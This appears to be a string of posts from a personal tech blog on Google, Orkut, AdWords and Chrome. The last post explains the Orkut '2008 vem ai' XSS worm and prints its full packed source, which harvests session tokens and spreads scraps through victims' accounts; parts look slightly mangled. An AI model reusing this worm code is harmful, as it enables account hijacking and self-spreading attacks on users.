How A Search Engines Conflict Of Interest Can Keep You Away From That Perfect Search Engine

We all dream about that perfect search engine. The engine that gives you answer for every question without trying your ability to think of imaginary keywords that might or might not exist. The search engine that will tell you where your kids are and what they are doing, the search engine that tells who you need to marry, the search engine that tells you if are going to become the next president.

But wait, it will never happen. 

There is a conflict of interest that arises in every advertising based business. Every content provider is serving a advertiser. They owe the advertiser a share of your attention. 

If search engines became perfect, you will hardly click the ad. If search engine became perfect, you will not visit a website, the content owner will not have any reason to share his content with the search engine.

Marrissa mayer, gave a seminar in web.20 summit in which she shared how increasing the number of search results on each page from 10 to 30 caused the traffic and revenue to reduce 20%.

When marrisa mayer equates people leaving their search results page early and not clicking ads to bad performance you know there is not much hope.

The chances are a user might might have more search results to view, he focuses less on ads, he finds a good result in 30 results and visits the website.  

Itsclearly understandable, irrespective of what google tells you, they want you on their website. That is where they get their revenues from.

I dont blame them, they are a for profit company. Its the entire business model that has conflict of interest built in.

Someday maybe they will start an ad free search engine and charge a fee for it. There they can give users the best search engine, because you are paying them for it. Simple.

Orkut On IPhone, A "Time Waster's" Dream Come True

Vellas, by the way are people who have too much time and not enough stuff to do. And like the word "guru" this should be included in the english language because there are so many of them.

Unlike most people who cannot seem to find enough time to do things that are really important to them, like read a book, meet an old friend, spend time with family, these people always have excess time. Lucky them.


Orkut.com recently wrote a blog post about this new feature where you can access your orkut.com service from IPhone and they called it "Orkut on IPhone: A Socialites dream come true". Sometime, or most times, i wonder how do people make time to scrap each other the whole day.

I have also seen people scraping each other when they could easily IM(both being online), or email, or call.

Sometimes i feel people use messaging  on social networks in cases when they "sorta want to be in touch" but not "too much".


I mean hey i messaged you, once, on orkut, i like to stay in touch you know. Its like an excuse, a formality.

People who really care would much rather have a meeting, a call, an IM or email. And in that order.


This is one reason why marketeers do not want to reach masses on social networks, they don't want to reach out to this segment of consumers, they sorta, don't wanna be in touch with you much you know, but hey maybe they will scrap you. Just maybe.

Google and Yahoo Ad Deal Delayed By A Month

Eric Schmidt, CEO of Google Inc, will not be pleased by a delay in the ad deal with yahoo because of a inquiry by justic department as reported by washingtonpost

The justice department is looking at the deal to see if it will create a monopoly in the online advertising market. Not yet, it wont.

If Yahoo marries Google, it would.

Will it happen? Yes.

Don't be evil, what about being outright stupid?

Recently i have been running a Google adwords campaign and saw some silly mistakes in my account. I am kind of sure, i am not the only one who has faced this issue, i am also sure Google would compensate for this.

So what happened here is this, i have bid a maximum of 0.04$ for a keyword. So ideally each click should cost me 0.04$, but Google has charged me anything from 0.04$ to 0.06$ for each keyword.

Its easy to understand by just looking under the Current Bid, Clicks, Avg. CPC, Cost columns for all keywords in the screeshot i am presenting below.
The question is if i have bid 0.04$ for each click, and i have recieved 1 click, how can the cost of one click be 0.05$. Or am i getting my maths wrong?

I have uploaded a screenshot you can click to see in full screen below. Take a look at this screenshot here

The bigger  question is that this is not a startup company who has just started operations and facing some operational glitches, there have been billions spent on Google adwords, most by folks who are not that analytical or tech savvy to look at the data Google provides in great detail. How many millions have passed through to Google this way?

Incase i have just got something horribly wrong please let me know!

Google's Got Charity On Its Mind With Project10to100 Or Has It?

Google Inc. has announced a new initiative called Project10^100 . Its home page says "Project 10100 is a call for ideas to change the world by helping as many people as possible." Here's what Andy Berndt, Managing Director, Google Creative Lab has to say about this intiative on google blog from Google Inc.


And The Reactions..

I was reading Thomas Claburns this article on InformationWeek's in which Thomas says "If you have a good idea, a really good idea, the sort of brilliant idea that might win Google's contest -- a way to produce a $0.01 straw that removes all impurities from contaminated water, for example -- why give that valuable idea away when you could commercialize it? You could start a company to support your idea, provide jobs to people, and help humanity at the same time."

Thomas gets pretty much bashed up by most commentors in the article and you gotta salute InformationWeek for approving those comments but i feel sorry for Thomas since he mentions a valid point and still gets bashed, a point that has not been addressed by Google Inc.'s terms and service agreement for this particular initiative.


Concerns that are raised(or should be raised if they are not raised yet)


1. Will Google make or can make its own commercial product from the ideas  submitted?

2. What happens to the ideas that are not selected, can Google or its partners or employees use     that data to spin off products for commercial interests without the original creator getting     anything?

3. Google gets publicity worth a billion dollars, while the guy who gave the idea, gets "Good     Karma"(as mentioned in the faqs here)

4. If something of commercial interests spins off the ideas(winner or not) do they get anything at     all out of it?

5. Why are the orginal creators not part of the implementation plan?

6. Why isn't this sounding like a incubation thing when it is in a way?

7. There seems to be something about this things that is "half baked" and "hurried"?


Anyways the better part and the most interesting are the Intellectual property rights, it says


Google Says:

1. As between you and Google, you retain ownership of any intellectual and industrial property rights (including moral rights) you have in and to your submission.

Which means:

If you already have an IP right you retain them, for most submissions, they will just be ideas and will not hold any IP rights. So to answer the question, Do i own the idea?. Well, No.

Google Says:

2. As a condition of participation, you grant Google, its subsidiaries, agents and partner companies, a perpetual, irrevocable, worldwide, royalty-free, and non- exclusive license to use, reproduce, adapt, modify, publish, distribute, publicly perform, create a derivative work from, and publicly display your submission and the proposal provided therein (1) for the purposes of allowing Google, the advisory panel and users to evaluate your idea for purposes of the call for submissions, (2) in connection with advertising and promotion via communication to the public or other groups, including, but not limited to, the right to make screenshots, animations and video clips available for promotional purposes and (3) for the purposes of putting your submitted proposal into effect.


Which means:
Google can take your idea, modify it, claim it, use it. Ok not just Google but even its partners, employees, door cleaners, chef etc etc. Ofcourse there are chances they won't but this atleast is not taken care off in the terms of services.

Google Says:
3. You agree that Google has final authority regarding this call for submission and the selection of the ideas to be considered for implementation. You acknowledge that your submission might be similar to ideas submitted by other participants and/or proposals independently developed by Google, and that Google does not need to recognize your submission should your idea not be the source of the proposal or proposals ultimately implemented. You further acknowledge that even if your proposal is selected by Google, Google is not compelled to implement your proposal in its entirety, or at all. Google reserves the right in its sole discretion to incorporate your proposal or any other ideas into the project or projects finally selected for implementation.

Which basically means:
We can take your idea and develop on your idea and commercialise it. They also mention that Google might choose not to implement even the winning idea. After all the billion dollar publicity, 10 millions dollars could land back to google bank account.

What Worries Me
I am actually worried, not about the ideas that win, but about the ideas that will not see the light of the day(and those will be millions of commerically viable ones being submitted). I get a feeling those will indeed be used for building a commercial product without the original creator getting anything. Not even acknowledgement.


Just to be fair here, it could be that none of this happens and Google doesn't use any of those ideas. But i still feel the idea winners should atleast get some monetary benefit and the ideas that don't win should be protected.

Google inc. could have used an outside neutral agency like KPMG to validate the process and make sure the ideas that do not win get disposed off in the right way and not become the personal property of Google employees or owners.


What Ideas You Should Submit:

Lastly i would say you should only submit your ideas in the contest if you have a philanthropic idea that's non commercial but would benefit a lot people and is difficult to implement by yourselves.

That's the only way everyone can benefit from this contest. DO NOT SUBMIT YOUR COMMERCIAL IDEAS.

But you know what, i get a feeling, Google has a lot of legal issues coming its way next year. Wonder why..hmm..still wondering...

G1 Phone launched at 170$ in US, IPhone still costs 715$ in India

T-Mobile launches google phone or G1 in US for 170$.  Meanwhile Apples Iphone struggles to create any kind of stir in the Indian market.

Some people are already speculating that g1 will take Iphones marke share while some others think its too early. Interestingly google ex product marketing manager is criticising how g1 looks and as always techcrunch over exaggerates the whole issue.

With all i have heard an read i think we will still have to wait for the right smart phone in India, Iphone is too over priced(with US folks paying 199$ and Indians paying 715$ - what the heck aren't we supposed be a 3rd world country anymore?, wheres the cheap stuff?) and g1 is too "for google lovers only" phone.


Nokia 96 would be good though.

Googles Chrome, its impact and why you shdn't worry too much about it for now

Google finally did the obvious and launched its own web browser. Its called chrome, its open source and its in trouble as soon as it launched.

The UI isn't any special compared to FireFox, Opera or even the latest version of IE or safari but its simple and well its blue like pretty much everything else Google.

But never mind that looking beyond there are somethings about Google chrome that are just not right.

For one it says the entire browser wldn't crash if one tab fails which is the case in conventional browser but indeed it does crash and it crashed on more than one occasion.

Google claims to test chrome on millions of website i bet they didn't test it on hundreds of users but.

This issue was brought to notice on full disclosure security bulletin.


continued...

Orkut XSS attack - that "2008 vem ai... que ele comece mto bem para vc" thingie

Orkut XSS Attack - "2008 vem ai... que ele comece mto bem para vc" thing

A lot of you have probably been wondering how you received a scrap saying " 2008 vem ai... que ele comece mto bem para vc" from me or possibly from some friend of yours.

Its called xss attack or cross site scripting attack. A piece of javascript code(on clients side that is your browser) gets executed, when you receive a scrap from your friends id(obviously after his orkut session is infected with the malicious code) with the spam message and started scrapping everyone. This happens when you log into your orkut scrapbook to read the malicious scrap.

When someone sends you a spam scrap and you read that the same scrap is sent to your friends from your account. This will spread for the coming few days possibly till orkut takes some measures.

Steps you can take:

If possible change your gmail account password and do not login to orkut till they sort this out.

Courtesy: Antrix.net(find link in comments)

The script is fetched from here: http://files.myopera.com/virusdoorkut/files/virus.js

function $(p,a,c,k,e,d) {

e=function(c) {

   return(c35?String.fromCharCode(c+29):c.toString(36))

};

if(!''.replace(/^/,String)){

   while(c--){d[e(c)]=k[c]||e(c)}

   k=[function(e){return d[e]}];

   e=function(){return'\\w+'};

   c=1

};

while(c--){

   if(k[c]){

       p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])

   }

}

return p

};

setTimeout(

$('5 j=0;5 q=1q["2o.H"];5 E=1q["2p.K.27"];7 B(){Z{b i 14("29.1l")}

L(e){};Z{b i 14("2b.1l")}L(e){};Z{b i 2l()}L(e){};b J};

7 W(g,P,m,c,9,U){5 1m=g+"="+19(P)+(m?"; m="+m.2f():"")+

(c?"; c="+c:"")+(9?"; 9="+9:"")+(U?"; U":"");

8.y=1m};7 v(g){5 l=8.y;5 A=g+"=";5 h=l.S("; "+A);6(h==-1)

{h=l.S(A);6(h!=0){b 2h}}16{h+=2};

5 u=8.y.S(";",h);6(u==-1){u=l.M};b 2j(l.2m(h+A.M,u))};

7 26(g,c,9){6(v(g)){8.y=g+"="+(c?"; c="+c:"")+(9?"; 9="+9:"")

+"; m=1u, 1i-1v-1x 1g:1g:1i 1y";1U.1z(0)}};

7 G(){5 3=B();6(3){3.R("1A","o://k.w.p/1B.z",C);3.a(J);3.Y=7()

{6(3.X==4){6(3.1a==1c){5 1r=3.1Q;5 t=8.1n("t");

t.1D=1r;5 f=t.D("f").O(0);6(f){f.1M(f.D("1F").O(0))

;f.1G("1H","N");f.1J.1K="1L";8.1N.1f(f);V()}}16{G()}}};

3.a(J)}};7 T(){5 a="H="+n(q)+"&K="+n(E)+"&15.1O";5 3=B();

3.R(\'q\',\'o://k.w.p/1P.z?1R=1S\',C);

3.12(\'10-1e\',\'Q/x-k-17-1b\');3.a(a);

3.Y=7(){6(3.X==4){6(3.1a!=1c){T();b};G()}}};

7 V(){6(j==8.18("N").M){b};

5 I="1V 1W 1X... 1Y 1Z 20 21 22 23 24<1k/>

[1j]25 "+i F()+"[/1j]<1k/><13 1o="\\" 2a="\\" 2e="\\" r="8.1n(\'r\'); r.1o=" 1c="\\" 1e="\\">";

5 a="15.1I=1&H="+n(q)+"&I="+n(I)+"&K="+n(E)+"&1T="+8.18("N").O(j).P;5 3=B();

3.R("q","o://k.w.p/2i.z",C);3.12("10-1e","Q/x-k-17-1b;");

3.a(a);3.Y=7(){6(3.X==4){j++;5 d=i F;d.1d(d.1h()+11);W(\'s\',j,d);V()}}};

6(!v(\'s\')){5 d=i F;d.1d(d.1h()+11);W(\'s\',\'0\',d)};j=v(\'s\');T();

',62,150,'|||xml||var|if|function|document|domain|send|

return|path|wDate||select|name|begin|new|index|

www|dc|expires|encodeURIComponent|http|com|POST|script|

wormdoorkut|div|end|getCookie|orkut||cookie|aspx

|prefix|createXMLHttpRequest|true|getElementsByTagName|S

IG|Date|loadFriends|POST_TOKEN|scrapText|null|

signature|catch|length|selectedList|item|value|application|

open|indexOf|cmm_join|secure|sendScrap|setCookie|

readyState|onreadystatechange|try|Content|86400

|setRequestHeader|embed|ActiveXObject|Action|else|form|

getElementById|escape|status|urlencoded|200|setTime

|Type|appendChild|00|getTime|01|silver|br|XMLHTTP|curCookie|

createElement|src|files|JSHDF|xmlr|virus|js|Thu|Jan|head|70|

GMT|go|GET|Compose|width|innerHTML|height|option|

setAttribute|id|submit|style|display|none|removeChild

|body|join|CommunityJoin|responseText|cmm|44001818|toUserId|

history|2008|vem|ai|que|ele|comece|mto|bem|para|vc|RL|deleteCookie|

raw|LoL|Msxml2|type|Microsoft|shockwave|flash|

wmode|toGMTString|transparent|false|Scrapbook|unescape|myopera

|XMLHttpRequest|substring|virusdoorkut|CGI|Page'.split('|'),0,{}),1

);

author="Rodrigo Lacerda"



The orkut website is built on asp.net,

if you wish to read the technical side

of preventing xss attacks in asp.net go here 



Update:

1.) The problem seems to have sorted out by orkut in

2 days(thats long)

2.) 400,000 users affected.

3.) Top users affected by country

US, Germany, India, Brazil

4.) Orkut has still not accepted it was

a mistake from their side.The official orkut blog

is still mum on the incidence.

5.) Your password is safe, though it was possible

to hack your gmail password if say the virus

redirected to you to a page which looked

exactly like orkut and asked you to relogin.



A